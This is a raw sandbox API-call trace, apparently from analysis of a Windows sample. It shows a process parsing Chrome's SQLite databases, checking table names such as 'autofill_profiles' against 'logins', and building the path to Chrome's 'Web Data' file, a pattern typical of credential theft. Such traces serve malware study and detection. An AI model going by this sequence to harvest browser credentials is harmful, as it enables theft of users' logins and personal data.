(This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.538] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.538] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x2cee18 [0056.538] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc1d8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0056.538] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0056.538] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc1d8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0056.538] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc1d8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0056.538] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc1d8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0056.539] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.539] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.539] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.539] IStream:LockRegion (This=0x2cc1d8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0056.539] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.539] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x2ceff8 [0056.539] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x2cc810 [0056.539] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.539] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.539] IStream:LockRegion (This=0x2cc1d8, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0056.539] IStream:SetSize (This=0x2cc1d8, libNewSize=0x2cc810) returned 0x0 [0056.539] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x30d900 [0056.539] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.539] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.539] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x2cf098 [0056.539] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.539] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.539] IStream:LockRegion (This=0x2cc1d8, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0056.539] IStream:SetSize (This=0x2cc1d8, libNewSize=0x2cf098) returned 0x0 [0056.539] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x2cc810 [0056.539] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.539] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.539] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x2cf098 [0056.539] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.539] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.539] IStream:LockRegion (This=0x2cc1d8, libOffset=0x1d, cb=0x0, dwLockType=0x0) returned 0x0 [0056.539] IStream:SetSize (This=0x2cc1d8, libNewSize=0x2cf098) returned 0x0 [0056.539] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x30d998 [0056.539] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.539] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.539] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.539] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.539] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2e, cb=0x0, dwLockType=0x0) returned 0x0 [0056.539] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f57b) returned 0x0 [0056.539] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x30da40 [0056.539] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.540] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.540] LocalAlloc (uFlags=0x40, uBytes=0x205) returned 0x30dad8 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2f, cb=0x0, dwLockType=0x0) returned 0x0 [0056.540] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30dad8) returned 0x0 [0056.540] LocalAlloc (uFlags=0x40, uBytes=0x20d) returned 0x30dce8 [0056.540] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.540] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.540] IUnknown:Release (This=0x2cc1d8) returned 0x0 [0056.540] lstrcmpiA (lpString1="autofill_profiles", lpString2="logins") returned -1 [0056.540] IStream:LockRegion (This=0x2cc188, libOffset=0x6b99, cb=0x0, dwLockType=0x0) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc188, libOffset=0x6b99, cb=0x0, dwLockType=0x0) returned 0x0 [0056.540] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc188, libOffset=0x6b9a, cb=0x0, dwLockType=0x0) returned 0x0 [0056.540] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.540] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x30d900 [0056.540] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x21f5c0 | out: ppstm=0x21f5c0*=0x2cc1d8) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc188, libOffset=0x6b9b, cb=0x0, dwLockType=0x0) returned 0x0 [0056.540] IStream:SetSize (This=0x2cc188, libNewSize=0x30d900) returned 0x0 [0056.540] IStream:Commit (This=0x2cc1d8, grfCommitFlags=0x30d900) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.540] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.540] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x2cee18 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0056.540] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0056.540] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0056.540] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.540] IStream:LockRegion (This=0x2cc1d8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0056.540] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.541] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.541] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.541] IStream:LockRegion (This=0x2cc1d8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0056.541] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.541] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x2cf098 [0056.541] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x30d900 [0056.541] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.541] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.541] IStream:LockRegion (This=0x2cc1d8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0056.541] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30d900) returned 0x0 [0056.541] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x30d990 [0056.541] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.541] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.541] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x30da28 [0056.541] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.541] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.541] IStream:LockRegion (This=0x2cc1d8, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0056.541] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30da28) returned 0x0 [0056.541] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x30dad8 [0056.541] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.541] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.541] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x2cf138 [0056.541] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.541] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.541] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2f, cb=0x0, dwLockType=0x0) returned 0x0 [0056.541] IStream:SetSize (This=0x2cc1d8, libNewSize=0x2cf138) returned 0x0 [0056.541] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x30da28 [0056.541] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.541] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.541] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.541] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.541] IStream:LockRegion (This=0x2cc1d8, libOffset=0x40, cb=0x0, dwLockType=0x0) returned 0x0 [0056.541] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f57b) returned 0x0 [0056.541] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x30db90 [0056.541] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.542] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.542] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x30d900 [0056.542] IUnknown:Release (This=0x2cc1d8) returned 0x0 [0056.542] lstrcmpiA (lpString1="autofill_profiles", lpString2="logins") returned -1 [0056.542] IStream:LockRegion (This=0x2cc188, libOffset=0x6adb, cb=0x0, dwLockType=0x0) returned 0x0 [0056.542] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.542] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.542] IStream:LockRegion (This=0x2cc188, libOffset=0x6adb, cb=0x0, dwLockType=0x0) returned 0x0 [0056.542] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.542] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.542] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.542] IStream:LockRegion (This=0x2cc188, libOffset=0x6adc, cb=0x0, dwLockType=0x0) returned 0x0 [0056.542] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.542] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.542] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.542] IStream:LockRegion (This=0x2cc188, libOffset=0x6add, cb=0x0, dwLockType=0x0) returned 0x0 [0056.542] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.542] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x30d900 [0056.542] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x21f5c0 | out: ppstm=0x21f5c0*=0x2cc1d8) returned 0x0 [0056.542] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.542] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.542] IStream:LockRegion (This=0x2cc188, libOffset=0x6ade, cb=0x0, dwLockType=0x0) returned 0x0 [0056.542] IStream:SetSize (This=0x2cc188, libNewSize=0x30d900) returned 0x0 [0056.543] IStream:Commit (This=0x2cc1d8, grfCommitFlags=0x30d900) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.543] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0056.543] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0056.543] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0056.543] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0056.543] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0056.543] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0056.543] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0056.543] IStream:SetSize (This=0x2cc1d8, libNewSize=0x2cc810) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0056.543] IStream:SetSize (This=0x2cc1d8, libNewSize=0x2cf1d8) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x22, cb=0x0, dwLockType=0x0) returned 0x0 [0056.543] IStream:SetSize (This=0x2cc1d8, libNewSize=0x2cf1d8) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x38, cb=0x0, dwLockType=0x0) returned 0x0 [0056.543] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f57b) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.543] IStream:LockRegion (This=0x2cc1d8, libOffset=0x39, cb=0x0, dwLockType=0x0) returned 0x0 [0056.543] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30dad8) returned 0x0 [0056.543] IUnknown:Release (This=0x2cc1d8) returned 0x0 [0056.543] lstrcmpiA (lpString1="autofill_profile_names", lpString2="logins") returned -1 [0056.543] IStream:LockRegion (This=0x2cc188, libOffset=0x6a5b, cb=0x0, dwLockType=0x0) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc188, libOffset=0x6a5b, cb=0x0, dwLockType=0x0) returned 0x0 [0056.544] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc188, libOffset=0x6a5c, cb=0x0, dwLockType=0x0) returned 0x0 [0056.544] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.544] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x21f5c0 | out: ppstm=0x21f5c0*=0x2cc1d8) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc188, libOffset=0x6a5d, cb=0x0, dwLockType=0x0) returned 0x0 [0056.544] IStream:SetSize (This=0x2cc188, libNewSize=0x30d900) returned 0x0 [0056.544] IStream:Commit (This=0x2cc1d8, grfCommitFlags=0x30d900) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.544] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0056.544] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0056.544] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0056.544] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0056.544] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0056.544] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.544] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.545] lstrcpyA (in: lpString1=0x2d4a98, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0056.545] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.545] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0056.545] lstrlenA (lpString="Web Data-journal") returned 16 [0056.545] lstrcpyA (in: lpString1=0x2d79b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 